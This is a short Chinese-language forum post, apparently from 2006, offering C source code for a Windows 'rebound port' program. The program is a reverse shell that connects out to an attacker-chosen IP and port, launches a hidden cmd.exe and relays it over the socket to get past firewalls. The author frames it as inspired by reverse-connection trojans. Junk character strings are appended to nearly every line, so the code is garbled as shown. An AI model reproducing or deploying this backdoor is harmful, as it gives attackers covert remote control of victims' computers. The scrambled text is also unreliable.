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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ij;NM:|Sd  
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/* ============================== in/~' u  
Rebound port in Windows NT l=p_  
By wind,2006/7 @, GL&$Y:W  
===============================*/ EW(bM^dk}  
#include a`n)aXU l  
#include 'I&0$<  
%K4M`R|2]  
#pragma comment(lib,"wsock32.lib") J)Y`G4l2@  
4qp|g'uXT  
void OutputShell(); 84.L1|k  
SOCKET sClient; -yBKA]"<I  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W/bW=.d Jd  
$uDgBZA\  
void main(int argc,char **argv) 'z5jnI  
{ =DJ:LmK  
WSADATA stWsaData; '0+~]4&}q  
int nRet; NGSts\D'}  
SOCKADDR_IN stSaiClient,stSaiServer; ~q}L13^k  
gAWi&  
if(argc != 3) 17Cb{Q  
{ BYXc 'K  
printf("Useage:\n\rRebound DestIP DestPort\n"); 88v8lt;R  
return; 2P^|juc)sU  
} &>,]YrU  
Pd~=:4  
WSAStartup(MAKEWORD(2,2),&stWsaData); } 7 o!  
'wk,t^)  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IS&qFi}W|W  
^#<L!yo^  
stSaiClient.sin_family = AF_INET; B4RrUA32  
stSaiClient.sin_port = htons(0); K 77iv  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o13jd NQ-  
XqmB%g(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,~naKd.ZY  
{ ?I6rW JcQ6  
printf("Bind Socket Failed!\n"); GLtd<M"  
return; x^[,0?y2  
} [[IMf-]  
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stSaiServer.sin_family = AF_INET; y<Q"]H.CkQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); AhN3~/u%7  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >;I8w(  
%m |I=P  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .@,t}:lD  
{ q-<DYVG+  
printf("Connect Error!"); ^1.*NG8  
return; E)$>t}$  
} mp8GHV  
OutputShell(); />S^`KSTM  
} z)^|.  
\~hrS/$[$  
void OutputShell() x8rg/y  
{ {oqbV#/&  
char szBuff[1024]; {h+8^   
SECURITY_ATTRIBUTES stSecurityAttributes; VhkM{O  
OSVERSIONINFO stOsversionInfo; !#)t<9]fv  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FYYc+6n  
STARTUPINFO stStartupInfo; eT".psRiC  
char *szShell; NbU`_^oC  
PROCESS_INFORMATION stProcessInformation; 1X2j%q I&  
unsigned long lBytesRead; +-<G(^  
;98&5X\u<  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d^}p#7mB\  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w[-)c6JyE  
stSecurityAttributes.lpSecurityDescriptor = 0; !vgY3S0?rq  
stSecurityAttributes.bInheritHandle = TRUE; 0A) 0Zw  
src9EeiV  
<==uK>pET  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,- AF8BP  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S/`#6  
lr>NG,N  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); eG,x\  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <YU?1y?V  
stStartupInfo.wShowWindow = SW_HIDE; 05LkLB  
stStartupInfo.hStdInput = hReadPipe; Z`tmuu  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #BLHHK/[  
j9h/`Bn  
GetVersionEx(&stOsversionInfo); ST?{H SCz  
))=6g@(  
switch(stOsversionInfo.dwPlatformId) '. "_TEIF  
{ "b hK %N;  
case 1: uBRlvNJ  
szShell = "command.com"; <_xG)vwh.  
break; dun`/QKV  
default: dC({B3#e{  
szShell = "cmd.exe"; x2B8G;6u  
break; /yG7!k]Eg  
} I<D#   
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =VD],R)  
<,)R`90_X6  
send(sClient,szMsg,77,0); sjyr9AF  
while(1) zTa5 N  
{ &4-;;h\H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ah2 {kK  
if(lBytesRead) 2GptK"MrD  
{ gE6'A  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ur])*#  
send(sClient,szBuff,lBytesRead,0); ,'s }g,L  
} F LWVI4*  
else # sw4)*v  
{ VCWW(Y1Fd  
lBytesRead=recv(sClient,szBuff,1024,0); o`iA&  
if(lBytesRead<=0) break; *tUOTA 3L  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +aOdaNcI  
} ~lo43$)^  
} s0iG |vw  
Cy[G7A%  
return; $P{`-Y }a  
}
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